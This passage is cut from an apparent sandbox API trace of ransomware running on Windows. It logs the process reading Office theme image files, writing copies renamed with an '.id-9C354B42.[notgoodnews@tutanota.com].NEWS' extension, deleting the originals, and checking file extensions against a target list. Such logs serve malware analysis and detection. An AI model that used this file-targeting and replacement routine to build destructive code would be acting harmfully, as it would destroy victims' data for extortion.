dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0070.975] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.975] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0070.977] GetLastError () returned 0x0 [0070.977] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x507, lpOverlapped=0x0) returned 1 [0070.981] WriteFile (in: hFile=0x1e4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x510, lpOverlapped=0x0) returned 1 [0070.983] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.983] WriteFile (in: hFile=0x1e4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.983] SetEndOfFile (hFile=0x1e4) returned 1 [0070.983] CloseHandle (hObject=0x1e4) returned 1 [0070.983] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.983] SetEndOfFile (hFile=0x1ec) returned 1 [0070.984] CloseHandle (hObject=0x1ec) returned 1 [0070.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0070.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.985] lstrlenW (lpString=".doc") returned 4 [0070.985] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.985] lstrlenW (lpString=".docx") returned 5 [0070.985] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.985] lstrlenW (lpString=".pdf") returned 4 [0070.985] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.985] lstrlenW (lpString=".xls") returned 4 [0070.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.986] lstrlenW (lpString=".xlsx") returned 5 [0070.986] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.986] lstrlenW (lpString=".ppt") returned 4 [0070.986] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.986] lstrlenW (lpString=".zip") returned 4 [0070.986] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.986] lstrlenW (lpString=".rar") returned 4 [0070.986] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.986] lstrlenW (lpString=".bz2") returned 4 [0070.986] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.986] lstrlenW (lpString=".7z") returned 3 [0070.986] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.986] lstrlenW (lpString=".dbf") returned 4 [0070.986] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.986] lstrlenW (lpString=".1cd") returned 4 [0070.986] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.986] lstrlenW (lpString=".jpg") returned 4 [0070.986] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.986] lstrlenW (lpString=".doc") returned 4 [0070.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.986] lstrlenW (lpString=".docx") returned 5 [0070.987] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.987] lstrlenW (lpString=".pdf") returned 4 [0070.987] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.987] lstrlenW (lpString=".xls") returned 4 [0070.987] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.987] lstrlenW (lpString=".xlsx") returned 5 [0070.987] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.987] lstrlenW (lpString=".ppt") returned 4 [0070.987] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.987] lstrlenW (lpString=".zip") returned 4 [0070.987] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.987] lstrlenW (lpString=".rar") returned 4 [0070.987] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.987] lstrlenW (lpString=".bz2") returned 4 [0070.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.987] lstrlenW (lpString=".7z") returned 3 [0070.987] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.987] lstrlenW (lpString=".dbf") returned 4 [0070.987] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.987] lstrlenW (lpString=".1cd") returned 4 [0070.987] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0070.987] lstrlenW (lpString=".jpg") returned 4 [0070.987] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.988] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0070.988] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0070.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0070.988] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=28595) returned 1 [0070.989] CloseHandle (hObject=0x1ec) returned 1 [0070.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0070.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0070.989] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.989] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0070.990] GetLastError () returned 0x0 [0070.990] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0071.171] WriteFile (in: hFile=0x1e4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0071.173] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.173] WriteFile (in: hFile=0x1e4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.173] SetEndOfFile (hFile=0x1e4) returned 1 [0071.174] CloseHandle (hObject=0x1e4) returned 1 [0071.174] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.174] SetEndOfFile (hFile=0x1ec) returned 1 [0071.175] CloseHandle (hObject=0x1ec) returned 1 [0071.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.176] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0071.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.176] lstrlenW (lpString=".doc") returned 4 [0071.176] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.176] lstrlenW (lpString=".docx") returned 5 [0071.176] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.176] lstrlenW (lpString=".pdf") returned 4 [0071.176] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.176] lstrlenW (lpString=".xls") returned 4 [0071.176] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.177] lstrlenW (lpString=".xlsx") returned 5 [0071.177] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.177] lstrlenW (lpString=".ppt") returned 4 [0071.177] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.177] lstrlenW (lpString=".zip") returned 4 [0071.177] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.177] lstrlenW (lpString=".rar") returned 4 [0071.177] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.177] lstrlenW (lpString=".bz2") returned 4 [0071.177] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.177] lstrlenW (lpString=".7z") returned 3 [0071.177] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.177] lstrlenW (lpString=".dbf") returned 4 [0071.177] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.177] lstrlenW (lpString=".1cd") returned 4 [0071.177] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.177] lstrlenW (lpString=".jpg") returned 4 [0071.177] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.178] lstrlenW (lpString=".doc") returned 4 [0071.178] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.178] lstrlenW (lpString=".docx") returned 5 [0071.178] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.178] lstrlenW (lpString=".pdf") returned 4 [0071.178] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.178] lstrlenW (lpString=".xls") returned 4 [0071.178] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.178] lstrlenW (lpString=".xlsx") returned 5 [0071.178] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.178] lstrlenW (lpString=".ppt") returned 4 [0071.178] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.178] lstrlenW (lpString=".zip") returned 4 [0071.178] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.178] lstrlenW (lpString=".rar") returned 4 [0071.178] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.178] lstrlenW (lpString=".bz2") returned 4 [0071.178] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.178] lstrlenW (lpString=".7z") returned 3 [0071.178] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.178] lstrlenW (lpString=".dbf") returned 4 [0071.179] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.179] lstrlenW (lpString=".1cd") returned 4 [0071.179] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0071.179] lstrlenW (lpString=".jpg") returned 4 [0071.179] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.179] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.179] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.688] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=32403) returned 1 [0071.689] CloseHandle (hObject=0x1f4) returned 1 [0071.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0071.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.689] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.689] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.690] GetLastError () returned 0x0 [0071.690] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0071.699] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0071.701] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.701] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.702] SetEndOfFile (hFile=0x1e8) returned 1 [0071.702] CloseHandle (hObject=0x1e8) returned 1 [0071.702] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.702] SetEndOfFile (hFile=0x1f4) returned 1 [0071.704] CloseHandle (hObject=0x1f4) returned 1 [0071.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.705] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0071.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.705] lstrlenW (lpString=".doc") returned 4 [0071.705] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.705] lstrlenW (lpString=".docx") returned 5 [0071.705] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.705] lstrlenW (lpString=".pdf") returned 4 [0071.705] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.705] lstrlenW (lpString=".xls") returned 4 [0071.705] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.705] lstrlenW (lpString=".xlsx") returned 5 [0071.705] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.705] lstrlenW (lpString=".ppt") returned 4 [0071.705] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.706] lstrlenW (lpString=".zip") returned 4 [0071.706] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.706] lstrlenW (lpString=".rar") returned 4 [0071.706] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.706] lstrlenW (lpString=".bz2") returned 4 [0071.706] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.706] lstrlenW (lpString=".7z") returned 3 [0071.706] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.706] lstrlenW (lpString=".dbf") returned 4 [0071.706] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.706] lstrlenW (lpString=".1cd") returned 4 [0071.706] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.706] lstrlenW (lpString=".jpg") returned 4 [0071.706] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.706] lstrlenW (lpString=".doc") returned 4 [0071.706] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.707] lstrlenW (lpString=".docx") returned 5 [0071.707] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.707] lstrlenW (lpString=".pdf") returned 4 [0071.707] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.707] lstrlenW (lpString=".xls") returned 4 [0071.707] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.707] lstrlenW (lpString=".xlsx") returned 5 [0071.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.707] lstrlenW (lpString=".ppt") returned 4 [0071.707] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.707] lstrlenW (lpString=".zip") returned 4 [0071.707] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.707] lstrlenW (lpString=".rar") returned 4 [0071.707] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.707] lstrlenW (lpString=".bz2") returned 4 [0071.707] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.707] lstrlenW (lpString=".7z") returned 3 [0071.707] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.707] lstrlenW (lpString=".dbf") returned 4 [0071.707] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.708] lstrlenW (lpString=".1cd") returned 4 [0071.708] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0071.708] lstrlenW (lpString=".jpg") returned 4 [0071.708] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.708] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.708] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.709] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=5120) returned 1 [0071.709] CloseHandle (hObject=0x1f4) returned 1 [0071.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0071.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft 